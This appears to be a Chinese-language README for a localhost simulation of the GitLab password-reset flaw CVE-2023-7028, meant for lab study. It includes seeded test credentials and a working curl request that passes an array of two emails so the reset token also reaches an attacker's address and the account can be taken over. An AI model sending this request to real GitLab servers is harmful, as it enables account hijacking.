CVE-2023-7028(CVSS 10.0):POST /users/password 接受 user[email][] 数组 — 服务器通过 email[0] 查找用户,但将相同的重置令牌发送到 每个 地址 → 攻击者使用 [email protected] 劫持 [email protected]。
受影响版本:GitLab CE/EE <16.5.6、<16.6.4、<16.7.2。此模拟复现 16.6.0 易受攻击的流程(JSON 数据库,无 SMTP)。
npm install && npm start → http://127.0.0.1:3000(或 PORT=3001 npm start;若端口繁忙则自动重试;仅限 localhost)。
预置账号:[email protected]/s3cur3P@ss!、[email protected]/BobSecure1!、[email protected]/5iveL!fe,存储于 data/users.json。
curl -X POST http://127.0.0.1:3000/users/password -d "user[email][][email protected]&user[email][][email protected]"
检查 http://127.0.0.1:3000/mailbox 或 /api/emails — 两者均收到相同的令牌。打开 .../users/password/edit?reset_password_token=TOKEN 即可接管账号。
正常情况:user[email][email protected] → 仅一封邮件。邮箱显示所有邮件;任何内容均不会离开主机。
MIT 许可 — 仅限实验室使用,请勿对外暴露。